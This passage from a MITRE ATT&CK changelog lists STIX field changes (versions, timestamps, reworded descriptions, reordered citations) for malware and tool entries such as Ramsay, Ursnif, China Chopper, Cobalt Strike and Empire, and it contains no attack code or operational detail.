| > | amsay April 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Harry Kim, CODEMIZE'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-16 23:17:20.639000+00:00 | 2021-04-14 22:10:12.150000+00:00 |
| description | [Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, potentially from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020) | [Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Antiy CERT Ramsay April 2020', 'description': "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021.", 'url': 'https://www.programmersought.com/article/62493896999/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:03:42.421000+00:00 | 2022-04-06 19:52:50.199000+00:00 |
| external_references[2]['source_name'] | Riskiq Remcos Jan 2018 | Fortinet Remcos Feb 2017 |
| external_references[2]['description'] | Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018. | Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018. |
| external_references[2]['url'] | https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/ | https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html |
| external_references[4]['source_name'] | Fortinet Remcos Feb 2017 | Riskiq Remcos Jan 2018 |
| external_references[4]['description'] | Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018. | Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018. |
| external_references[4]['url'] | https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html | https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/ |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_aliases | ['Responder'] | |
| x_mitre_platforms | ['Windows'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2022-04-06 14:42:53.334000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:17:52.697000+00:00 | 2021-09-08 19:22:44.438000+00:00 |
| external_references[2]['description'] | Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018. | Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018. |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [USBStealer](https://attack.mitre.org/software/S0136) is mal | t | 1 | [USBStealer](https://attack.mitre.org/software/S0136) is mal |
| > | ware that has used by [APT28](https://attack.mitre.org/group | > | ware that has been used by [APT28](https://attack.mitre.org/ | ||
| > | s/G0007) since at least 2005 to extract information from air | > | groups/G0007) since at least 2005 to extract information fro | ||
| > | -gapped networks. It does not have the capability to communi | > | m air-gapped networks. It does not have the capability to co | ||
| > | cate over the Internet and has been used in conjunction with | > | mmunicate over the Internet and has been used in conjunction | ||
| > | [ADVSTORESHELL](https://attack.mitre.org/software/S0045). ( | > | with [ADVSTORESHELL](https://attack.mitre.org/software/S004 | ||
| > | Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky | > | 5). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspe | ||
| > | Sofacy) | > | rsky Sofacy) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-18 16:11:07.955000+00:00 | 2022-04-19 22:53:27.639000+00:00 |
| description | [USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy) | [USBStealer](https://attack.mitre.org/software/S0136) is malware that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Ursnif](https://attack.mitre.org/software/S0386) is a banki | t | 1 | [Ursnif](https://attack.mitre.org/software/S0386) is a banki |
| > | ng trojan and variant of the Gozi malware observed being spr | > | ng trojan and variant of the Gozi malware observed being spr | ||
| > | ead through various automated exploit kits, [Spearphishing A | > | ead through various automated exploit kits, [Spearphishing A | ||
| > | ttachment](https://attack.mitre.org/techniques/T1193)s, and | > | ttachment](https://attack.mitre.org/techniques/T1566/001)s, | ||
| > | malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation | > | and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Cita | ||
| > | : ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre. | > | tion: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mi | ||
| > | org/software/S0386) is associated primarily with data theft, | > | tre.org/software/S0386) is associated primarily with data th | ||
| > | but variants also include components (backdoors, spyware, f | > | eft, but variants also include components (backdoors, spywar | ||
| > | ile injectors, etc.) capable of a wide variety of behaviors. | > | e, file injectors, etc.) capable of a wide variety of behavi | ||
| > | (Citation: TrendMicro Ursnif Mar 2015) | > | ors.(Citation: TrendMicro Ursnif Mar 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 13:57:16.815000+00:00 | 2021-04-23 20:38:14.681000+00:00 |
| description | [Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015) | [Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 20:59:05.953000+00:00 | 2020-11-23 19:00:25.745000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:32:20.484000+00:00 | 2021-08-18 23:49:03.468000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ZxShell](https://attack.mitre.org/software/S0412) is a remo | t | 1 | [ZxShell](https://attack.mitre.org/software/S0412) is a remo |
| > | te administration tool and backdoor that can be downloaded f | > | te administration tool and backdoor that can be downloaded f | ||
| > | rom the Internet, particularly from Chinese hacker websites. | > | rom the Internet, particularly from Chinese hacker websites. | ||
| > | It has been used since at least 2004.(Citation: FireEye APT | > | It has been used since at least 2004.(Citation: FireEye APT | ||
| > | 41 Aug 2019)(Citation: Talos ZxShell Oct 2014 ) | > | 41 Aug 2019)(Citation: Talos ZxShell Oct 2014) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:32:58.702000+00:00 | 2022-04-15 15:01:42.835000+00:00 |
| description | [ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 ) | [ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) |
| external_references[1]['description'] | (Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 ) | (Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) |
| external_references[2]['description'] | (Citation: Talos ZxShell Oct 2014 ) | (Citation: Talos ZxShell Oct 2014) |
| external_references[3]['source_name'] | FireEye APT41 Aug 2019 | Talos ZxShell Oct 2014 |
| external_references[3]['description'] | Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. | Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019. |
| external_references[3]['url'] | https://content.fireeye.com/apt-41/rpt-apt41 | https://blogs.cisco.com/security/talos/opening-zxshell |
| external_references[4]['source_name'] | Talos ZxShell Oct 2014 | FireEye APT41 Aug 2019 |
| external_references[4]['description'] | Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019. | Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. |
| external_references[4]['url'] | https://blogs.cisco.com/security/talos/opening-zxshell | https://content.fireeye.com/apt-41/rpt-apt41 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [at](https://attack.mitre.org/software/S0110) is used to sch | t | 1 | [at](https://attack.mitre.org/software/S0110) is used to sch |
| > | edule tasks on a system to run at a specified date or time. | > | edule tasks on a system to run at a specified date or time.( | ||
| > | (Citation: TechNet At) | > | Citation: TechNet At)(Citation: Linux at) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:34:22.227000+00:00 | 2022-04-20 20:02:41.550000+00:00 |
| description | [at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At) | [at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time.(Citation: TechNet At)(Citation: Linux at) |
| external_references[1]['source_name'] | TechNet At | Linux at |
| external_references[1]['description'] | Microsoft. (n.d.). At. Retrieved April 28, 2016. | IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/library/bb490866.aspx | https://man7.org/linux/man-pages/man1/at.1p.html |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TechNet At', 'description': 'Microsoft. (n.d.). At. Retrieved April 28, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/bb490866.aspx'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2019-07-31 19:57:28.859000+00:00 | 2021-08-16 17:50:50.307000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 18:41:43.461000+00:00 | 2021-10-01 17:48:10.492000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Edward Millington |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:25:02.713000+00:00 | 2022-04-06 19:50:59.368000+00:00 |
| external_references[1]['source_name'] | Njw0rm | LV |
| external_references[1]['description'] | Some sources have discussed Njw0rm as a later variant of njRAT, where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of njRAT itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) | (Citation: Fidelis njRAT June 2013) |
| external_references[2]['source_name'] | LV | Bladabindi |
| external_references[2]['description'] | (Citation: Fidelis njRAT June 2013) | (Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) |
| external_references[3]['source_name'] | Bladabindi | FireEye Njw0rm Aug 2013 |
| external_references[3]['description'] | (Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) | Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019. |
| external_references[5]['source_name'] | FireEye Njw0rm Aug 2013 | Trend Micro njRAT 2018 |
| external_references[5]['description'] | Dawda, U. and Villeneuve, N. (2013, August 30). Njw0rm - Brother From the Same Mother. Retrieved June 4, 2019. | Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html | https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/ |
| external_references[6]['source_name'] | Trend Micro njRAT 2018 | Njw0rm |
| external_references[6]['description'] | Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019. | Some sources have discussed Njw0rm as a later variant of [njRAT](https://attack.mitre.org/software/S0385), where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of [njRAT](https://attack.mitre.org/software/S0385) itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_aliases | ['route', 'route.exe'] | |
| x_mitre_platforms | ['Linux', 'Windows', 'macOS'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2022-04-06 15:27:00.668000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 12:42:36.620000+00:00 | 2022-04-20 20:04:22.896000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is | t | 1 | [China Chopper](https://attack.mitre.org/software/S0020) is |
| > | a [Web Shell](https://attack.mitre.org/techniques/T1100) hos | > | a [Web Shell](https://attack.mitre.org/techniques/T1505/003) | ||
| > | ted on Web servers to provide access back into an enterprise | > | hosted on Web servers to provide access back into an enterp | ||
| > | network that does not rely on an infected system calling ba | > | rise network that does not rely on an infected system callin | ||
| > | ck to a remote command and control server. (Citation: Lee 20 | > | g back to a remote command and control server. (Citation: Le | ||
| > | 13) It has been used by several threat groups. (Citation: De | > | e 2013) It has been used by several threat groups. (Citation | ||
| > | ll TG-3390) (Citation: FireEye Periscope March 2018) | > | : Dell TG-3390) (Citation: FireEye Periscope March 2018)(Cit | ||
| > | ation: CISA AA21-200A APT40 July 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:20:49.892000+00:00 | 2022-04-15 15:15:51.199000+00:00 |
| description | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018) | [China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021) |
| external_references[2]['source_name'] | Lee 2013 | CISA AA21-200A APT40 July 2021 |
| external_references[2]['description'] | Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015. | CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html | https://us-cert.cisa.gov/ncas/alerts/aa21-200a |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Lee 2013', 'description': 'Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'} |
Current version: 1.8
Version changed from: 1.5 → 1.8
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Cobalt Strike](https://attack.mitre.org/software/S0154) is | t | 1 | [Cobalt Strike](https://attack.mitre.org/software/S0154) is |
| > | a commercial, full-featured, penetration testing tool which | > | a commercial, full-featured, remote access tool that bills i | ||
| > | bills itself as “adversary simulation software designed to e | > | tself as “adversary simulation software designed to execute | ||
| > | xecute targeted attacks and emulate the post-exploitation ac | > | targeted attacks and emulate the post-exploitation actions o | ||
| > | tions of advanced threat actors”. Cobalt Strike’s interactiv | > | f advanced threat actors”. Cobalt Strike’s interactive post- | ||
| > | e post-exploit capabilities cover the full range of ATT&CK t | > | exploit capabilities cover the full range of ATT&CK tactics, | ||
| > | actics, all executed within a single, integrated system. (Ci | > | all executed within a single, integrated system.(Citation: | ||
| > | tation: cobaltstrike manual) In addition to its own capabil | > | cobaltstrike manual) In addition to its own capabilities, [ | ||
| > | ities, [Cobalt Strike](https://attack.mitre.org/software/S01 | > | Cobalt Strike](https://attack.mitre.org/software/S0154) leve | ||
| > | 54) leverages the capabilities of other well-known tools suc | > | rages the capabilities of other well-known tools such as Met | ||
| > | h as Metasploit and [Mimikatz](https://attack.mitre.org/soft | > | asploit and [Mimikatz](https://attack.mitre.org/software/S00 | ||
| > | ware/S0002). (Citation: cobaltstrike manual) | > | 02).(Citation: cobaltstrike manual) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-11 13:33:17.392000+00:00 | 2022-02-25 18:58:15.220000+00:00 |
| description | [Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual) In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual) | [Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual) In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual) |
| external_references[1]['url'] | https://cobaltstrike.com/downloads/csmanual38.pdf | https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf |
| x_mitre_version | 1.5 | 1.8 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Martin Sohn Christensen, Improsec | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 1.4
Version changed from: 1.1 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open | t | 1 | [Empire](https://attack.mitre.org/software/S0363) is an open |
| > | source, cross-platform remote administration and post-explo | > | source, cross-platform remote administration and post-explo | ||
| > | itation framework that is publicly available on GitHub. Whil | > | itation framework that is publicly available on GitHub. Whil | ||
| > | e the tool itself is primarily written in Python, the post-e | > | e the tool itself is primarily written in Python, the post-e | ||
| > | xploitation agents are written in pure [PowerShell](https:// | > | xploitation agents are written in pure [PowerShell](https:// | ||
| > | attack.mitre.org/techniques/T1086) for Windows and Python fo | > | attack.mitre.org/techniques/T1059/001) for Windows and Pytho | ||
| > | r Linux/macOS. [Empire](https://attack.mitre.org/software/S0 | > | n for Linux/macOS. [Empire](https://attack.mitre.org/softwar | ||
| > | 363) was one of five tools singled out by a joint report on | > | e/S0363) was one of five tools singled out by a joint report | ||
| > | public hacking tools being widely used by adversaries.(Citat | > | on public hacking tools being widely used by adversaries.(C | ||
| > | ion: NCSC Joint Report Public Tools)(Citation: Github PowerS | > | itation: NCSC Joint Report Public Tools)(Citation: Github Po | ||
| > | hell Empire)(Citation: GitHub ATTACK Empire) | > | werShell Empire)(Citation: GitHub ATTACK Empire) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:08:26.536000+00:00 | 2022-04-06 20:33:43.881000+00:00 |
| description | [Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) | [Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire) |
| external_references[3]['source_name'] | NCSC Joint Report Public Tools | Github PowerShell Empire |
| external_references[3]['description'] | The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019. | Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. |
| external_references[3]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://github.com/PowerShellEmpire/Empire |
